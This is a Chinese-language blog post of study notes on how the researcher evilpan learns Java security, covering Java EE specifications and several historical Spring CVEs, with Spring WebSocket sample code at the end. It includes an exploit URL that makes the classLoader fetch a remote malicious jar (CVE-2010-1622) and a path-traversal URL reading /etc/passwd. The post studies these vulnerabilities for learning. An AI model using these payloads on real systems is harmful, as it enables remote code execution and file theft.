学习evilpan研究java相关漏洞
# 学习目的 - [x] 这篇文章是来学习evilpan师傅的学习思考思路和方法 - [x] 学习他的搜索习惯和搜索思路 - [ ] 学习他的url解析与鉴权系列文章,主要是搞spring相关漏洞 - [x] 梳理他参考的英文文献,做计划阅读并提升英文阅读能力
另外贴出几个他的思考文章,非常推荐仔细读很多遍
- https://evilpan.com/2021/05/22/bug-hunting/
- https://evilpan.com/2020/12/27/my2020/
- https://evilpan.com/2017/05/07/about-programing/
- https://evilpan.com/2022/05/01/code-audit-thoughts/
- https://evilpan.com/2022/01/22/code-audit/
虽然研究的内容我们在shiro中初步涉及到了,但是思考的方式还是局限于shiro这个框架,以及其相关漏洞,并且发现非常的孤立,我们只是做shiro本身的调研。而且在我们调研url解析相关漏洞的时候,也只局限于shiro的解析,或许我们根据其CVE去了解了下Spring的url解析,毕竟要找二者的差异绕过,但是我们的顺序是先shiro然后spring,至于Tomcat几乎没有深入了解,而这恰恰是最关键的一点,引出了两种学习方法:
- 先广泛的获取信息,然后最从系统的底部开始研究,抛开安全即代码层面,只研究某条路径中的全部代码,比如URL解析从Tomcat-Spring的全路径,然后再研究URL解析漏洞放在系统的这条路径中。对比常见的中间件相关漏洞。最后抽象,形成一种挖掘漏洞的思路/模式。
- 只盯着URL解析的部分,然后复现文章,官方漏洞描述,根据各种tricks研究绕过方法。然后顺着思路向下深究系统。哪里需要了解哪里就去学。
这显然是不同维度的两件事。这篇文章试着学习evilpan的写作风格,研究他的学习方式。 全部内容在其公众号中或者其博客中 我们主要研究其如下文章:
研究方法:先读一遍作者引用的文章,总结作者常用的网站,搜集信息充足的网站,内容看完了再看作者的写作。遇到代码调试,则边调试边看作者的文章,有需要就查一些资料。
# Java 安全研究初探 为了梳理java的整体功能框架,作者翻阅了大量的官方文档,如下。考虑到英文水平,感觉有点震撼。
引用链接
[1] JSRs by Platform - Java EE: https://jcp.org/en/jsr/platform?listBy=3&listByType=platform
[2] Java EE - Oracle: https://www.oracle.com/java/technologies/java-ee-glance.html
[3] Jakarta EE - Wikipedia: https://en.wikipedia.org/wiki/Jakarta_EE
[4] Java Web 安全 - javasec.org: https://javasec.org/
[5] JSRs by Committee - SE/EE: https://jcp.org/en/jsr/ec?listBy=1
[6] Java Servlet 3.1: https://jcp.org/en/jsr/detail?id=340
[7] Jakarta_Servlet - Wikipedia: https://en.wikipedia.org/wiki/Jakarta_Servlet
[8] JSR 340: Java Servlet 3.1 Specification: https://jcp.org/en/jsr/detail?id=340
[9] How Spring Web MVC Really Works: https://stackify.com/spring-mvc/
[10] JSR 245: https://jcp.org/en/jsr/detail?id=245
[11] HttpJspBase: https://github.com/guang19/framework-learning/blob/master/tomcat9.0-source/java/org/apache/jasper/runtime/HttpJspBase.java#L37
[12] directive: https://www.tutorialspoint.com/jsp/jsp_directives.htm
[13] JSP 支持让用户自定义标签: https://www.tutorialspoint.com/jsp/jsp_custom_tags.htm
[14] JavaServer Pages Standard Tag Library 1.1 Tag Reference: https://docs.oracle.com/javaee/5/jstl/1.1/docs/tlddocs/
[15] JSTL - Stackoverflow: https://stackoverflow.com/tags/jstl/info
[16] Jakarta_Server_Pages - Wiki: https://en.wikipedia.org/wiki/Jakarta_Server_Pages
[17] JSP Tutorial: https://www.tutorialspoint.com/jsp/index.htm
[18] JSR 245: JavaServerTM Pages 2.1: https://jcp.org/en/jsr/detail?id=245
[19] Java EL: https://en.wikipedia.org/wiki/Jakarta_Expression_Language
[20] EL 2.1 版本: https://download.oracle.com/otn-pub/jcp/jsp-2.1-fr-eval-spec-oth-JSpec/jsp-2_1-fr-spec-el.pdf
[21] EL 3.0: https://jcp.org/en/jsr/detail?id=341
[22] OGNL: https://github.com/orphan-oss/ognl
[23] MVEL: https://github.com/mvel/mvel
[24] SpEL: https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions
[25] JEXL: https://commons.apache.org/proper/commons-jexl/
[26] JSR 54: JDBC 3.0 Specification: https://jcp.org/en/jsr/detail?id=54
[27] JSR 114: JDBC Rowset Implementations: https://jcp.org/en/jsr/detail?id=114
[28] JSR 221: JDBC 4.0 API Specification: https://jcp.org/en/jsr/detail?id=221
[29] New Exploit Technique In Java Deserialization Attack: https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
[30] JSR 3: Java Management Extensions (JMX) Specification: https://www.jcp.org/en/jsr/detail?id=3
[31] JSR 160: Java Management Extensions (JMX) Remote API: https://www.jcp.org/en/jsr/detail?id=160
[32] JSR 262: Web Services Connector for Java Management Extensions (JMX) Agents: https://www.jcp.org/en/jsr/detail?id=262
[33] Jolokia: https://jolokia.org/reference/html/index.html
[34] Attacking RMI based JMX services - @h0ng10: https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/
[35] JMX Exploitation Revisited - Markus Wulftange: https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html
[36] Java Management Extensions (JMX) Best Practices - Oracle: https://www.oracle.com/java/technologies/javase/management-extensions-best-practices.html
[37] Java Management Extensions - Wikipedia: https://en.wikipedia.org/wiki/Java_Management_Extensions
[38] 梦游一次从jmx到rce - Y4er: https://y4er.com/posts/from-jmx-to-rce/
根据evilpan描述,他翻阅文档的目的如下 > 一般开发者可能很少需要直接阅读标准文档,且文档中也说明其目标主要是 Web 服务器的开发者。不过作为安全研究人员,我们可以从中学习到很多 Servlet 的基础架构和设计思想。
但是对我来说,这可能是一次在evilpan的带领下的全新的尝试,目的在于尝试一种获取信息的途径与新的学习研究方式。 关于文章,作者梳理了几大模块,这也是没谁了真的挺全的。
- javaEE[2][3][4][5]
- [Servlet/Filter][6][7][8][9]
- Jsp[10]
- JspServlet[11]
- 标签库与JSTL[12]-[18]
- Java表达式语言[19]-[25]
- JDBC[26]-[29]
- JMX[30][31][32]
这里产生了几个安全的分支
- el injection
- jdbc attack(deserialization)
- jmx
然后我自己搜集一些比较好的文章 Deserialization of Untrusted Data:https://security.snyk.io/vuln/SNYK-JAVA-COMMONSCOLLECTIONS-30078 Deserialization of Untrusted Data-cwe:https://cwe.mitre.org/data/definitions/502.html Web container-wiki:https://en.wikipedia.org/wiki/Web_container URL-wiki:https://en.wikipedia.org/wiki/URL JSR-all-specification:https://download.oracle.com/otndocs/jcp/servlet-3_1-fr-eval-spec/index.html SpEL漏洞研究: https://xz.aliyun.com/t/11478 https://xz.aliyun.com/t/9245 https://tttang.com/archive/1583/ JDBC漏洞研究: https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/ jmx相关漏洞: https://y4er.com/posts/from-jmx-to-rce/ https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/ https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html
others waiting to research smuggling request attack https://portswigger.net/web-security/request-smuggling
一些信息充足的网站
总结 看完少了半条命。。
- 他也不都是看JSR官方文档,一部分也是使用搜索引擎然后去相关英文教程网站学习。
- 除了JSR,英文教程网站,还有wikipedia也是信息充足的地方。英文教程网站讲的真好
- 我发现他也不是事先规划好要研究啥了,他可能凭借着自身的经验,哪些想要更加深入的研究,可能是根据漏洞,也可能是根据以往一知半解的理解这次想彻底搞明白。也是随着研究深入逐渐梳理出下一个内容。
- 感觉他在写基础教程,并且只是列举了一部分内容,然后剩下的扔一个链接自己去看。
- 研究一个东西,首先研究他的历史。然后视野不能局限,要先多看文章,然后再总结,不能只看一个文章就完事了。
- 他每个研究都写了一个小demo,没写出来demo之前不要进行接下来的研究,因为demo是辅助信息的。
- 他说他是工作原因换了一个领域来到java的,他先通过阅读jsr,梳理出java的知识面,然后通过知识面梳理出可攻击的领域,做到从一个整体看待java安全。包括下面的spring framework历史漏洞也是,他也是从面来看待的。
# Spring Framework 历史漏洞研究 作者原文 > 本文的主要目标是分析、总结、归纳历史上出现过的 Spring 框架漏洞,从而尝试找出其中的潜在模式,以达到温故知新的目的。 > 本节简单学习了 Spring Framework 本身的一些特性和功能,并在此基础上随意选择了几个相关的漏洞进行分析,以尝试对 Spring 框架的整体结构、历史漏洞和代码质量有个初步认识。从中可以发现,Spring Framework 作为流行 Web 框架的基石,历史上出现过的严重漏洞并不多,RCE 类漏洞更多出现在 SpEL 中,MVC 框架里的 JavaBean 绑定也可以算是一个独特的攻击面。作为安全研究者,一方面可以对这些历史攻击面进行深入分析,以发掘新的绕过方式;另一方面也可以寻找一些新的攻击面,后者往往能造成更大的影响效果。
spring-mvc是构建在Servlet API上的原始web框架,默认使用DispatcherServlet作为请求处理 继承关系:DispatcherServlet -> FrameworkServlet -> HttpServletBean -> HttpServlet -> GenericServlet 简单理解:
- FrameworkServlet,Spring的web框架的基础servlet,提供 Spring应用容器的集成,基于javaBean解决方案。
- HttpServletBean,HttpServlet 的简单实现,包括初始化资源,资源的设置和获取
- HttpServlet,对于web站点,提供子类一个抽象类去创建HTTP servlet,至少实现如下方法之一:doGet、doPost、doPut、doDelete、init、destroy、getServletInfo
- GenericServlet,通用的、独立于协议的servlet。
作者通过梳理如下漏洞,并总结漏洞成因和补丁,来学习Spring的攻击面: ## CVE-2010-1622 Spring MVC 允许开发者将业务对象 (Bean) 绑定到 HTML 表单中,并通过请求对其进行修改,例如下述请求:
| POST /adduser HTTP/1.0 ... firstName=Tavis
| | --- |
如果绑定了业务对象 User,那么该请求背后最终会执行 user.firstName = "Tavis",这是基于 JavaBean 的接口去实现的。Spring 还支持使用复杂的设置方式,比如 user.address.street=Test 会转换为:
| java frmObj.getUser().getAddress().setStreet("Test")
| | --- |
由于 Bean 类默认继承自 Object,且内省的时候没有过滤掉父类的属性,因此攻击者可以通过 class.classLoader 的方式调用 frmObj.getClass().getClassLoader() 从而进一步修改 ClassLoader 中的属性,导致任意代码执行。最初作者的建议是通过 Introspector.getBeanInfo(Person.class, Object.class) 指定 stopClass 的方式防止该问题,但 Spring 实际上通过黑名单的方式进行了修复,这也为后续的绕过埋下伏笔。 恶意访问:http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/ 利用方法:通过覆盖class.classLoader.URLs[0]
来让classLoader加载我们预先配置好的远程jar包,其中包含恶意的tag文件,spring内部渲染jsp页面的时候,通过解析tag模版来执行命令。 修复:Tomcat将变量换成clone,无法覆盖。 Spring将classLoader加入黑名单,存在绕过风险。 https://github.com/spring-projects/spring-framework/compare/v3.0.2.RELEASE...v3.0.3.RELEASE CachedIntrospectionResults
拓展学习:js原型链攻击 ## CVE-2013-4152、CVE-2013-7315、CVE-2013-642 SpringMVC可以将请求的数据绑定到Bean对象,请求的数据可以是表单,XML,JSON形式,该漏洞是通过XML请求绑定到Bean对象时解析XML外部实体导致的XXE漏洞。由于修复不完整又产生了如下漏洞:CVE-2014-0054 ## CVE-2014-3625 spring-webmvc配置资源映射的时候使用了file:协议,同时访问http://localhost:8080/spring-css/resources/file:/etc/passwd
可获取资源。 问题函数在org.springframework.web.servlet.resource.ResourceHttpRequestHandler#getResource
, Resource#createRelative
返回的结果是 file:/etc/passwd
,这就导致了子目录的限制实现穿越。
官方修复,几个校验点
- processPath ()对
// /// //// foo/bar
的形式进行过滤 - 路径中存在
%
则使用utf-8解码,同时校验解码后路径,使用isInvalidPath
isInvalidPath
进行如下校验:- 路径中不能包含
WEB-INF
或者META-INF
- 路径中如果包含
:/
则不能使用其获取资源,路径不能以url:
开头 - 路径中包含
../
则用org.springframework.util.StringUtils#cleanPath
清除路径,清除后还是包含../
则视为非法路径 - 在所有location获取资源的时候使用
isResourceUnderLocation
校验,如果资源路径和location不是startsWith关系,或者路径中存在%
并且解码后存在../
则不予通过。
可以说非常严格,但是还是给绕过了CVE-2018-1271。因为windows中夸路径使用\
未进行过滤。
## CVE-2018-1270 spring-messaging
模块使用了默认的SpEL即StandardEvaluationContext
,没有对表达式进行过滤。
StandardEvaluationContext
: 支持 SpEL 语言的所有功能和配置选项,这是默认值;SimpleEvaluationContext
: 仅提供 SpEL 语言的基本功能和配置选项的子集,适用于不需要 SpEL 语言全部功能,且对表达式有限制的情况;
漏洞相关参考:https://kingx.me/spring-messaging-rce-cve-2018-1270.html
下面自己尝试学习一下 简单读一下文档学习
AMQP协议(高级消息队列协议)是线路级协议,功能丰富,它提供了与消息传递相关的广泛功能,包括可靠的队列、基于主题的发布和订阅消息传递、灵活的路由、事务和安全性。可进行细粒度的控制。apache ActiveMQ消息中间件基于AMQP协议实现。 和AMQP相对的还存在OpenWire协议,Stomp协议,MQTT协议[1] 。ActiveMQ支持如上协议。 MQTT协议的优点是简单和功能集中,它提供发布和订阅消息传递,没有队列功能。适合资源受限的场景使用。比如温度更新、股票价格行情、油压反馈或移动通知。 STOMP(简单/流文本导向消息传递协议)是这三种协议中唯一基于文本的协议,这使得它在本质上更类似于 HTTP。STOMP 不处理队列和主题——它使用带有“目标”字符串的 SEND 语义。代理必须映射到它内部理解的内容,例如主题、队列或交换。然后消费者订阅这些目的地。
简单读一下spring-messaging文档,下面是读文档笔记: 回到Spring,Spring WebSocket支持STOMP传递消息,就和RabbitMQ一样[2],SockJS作为WebSocket的服务端,然后stomp客户端建立在WebSocket之上。stompClient连接的时候订阅某个服务端内部配置好的主题。当某个客户端向主题发送消息,则使用showGreeting解析并写入页面。
function connect() {
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
});
});
}
function showGreeting(message) {
$("#greetings").append("<tr><td>" + message + "</td></tr>");
}
function sendName() {
stompClient.send("/app/hello", {}, JSON.stringify({'name': $("#name").val()}));
}
@Controller
public class GreetingController {
// 当访问/hello的时候调用本接口
@MessageMapping("/hello")
// 将返回值发送到如下主题
@SendTo("/topic/greetings")
public Greeting greeting(HelloMessage message) throws Exception {
Thread.sleep(1000); // simulated delay
return new Greeting("Hello, " + message.getName() + "!");
}
}
@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {
@Override
public void configureMessageBroker(MessageBrokerRegistry config) {
// 激活某个路径下的brokers
config.enableSimpleBroker("/topic");
// 调用发送消息接口的前缀,比如调用消息访问/app/hello
config.setApplicationDestinationPrefixes("/app");
}
@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
// 注册websocket,允许客户端连接。
registry.addEndpoint("/gs-guide-websocket").withSockJS();
}
}
Spring + ActiveMQ(JMS)
spring.activemq.broker-url=tcp://192.168.1.210:9876
spring.activemq.user=admin
spring.activemq.password=secret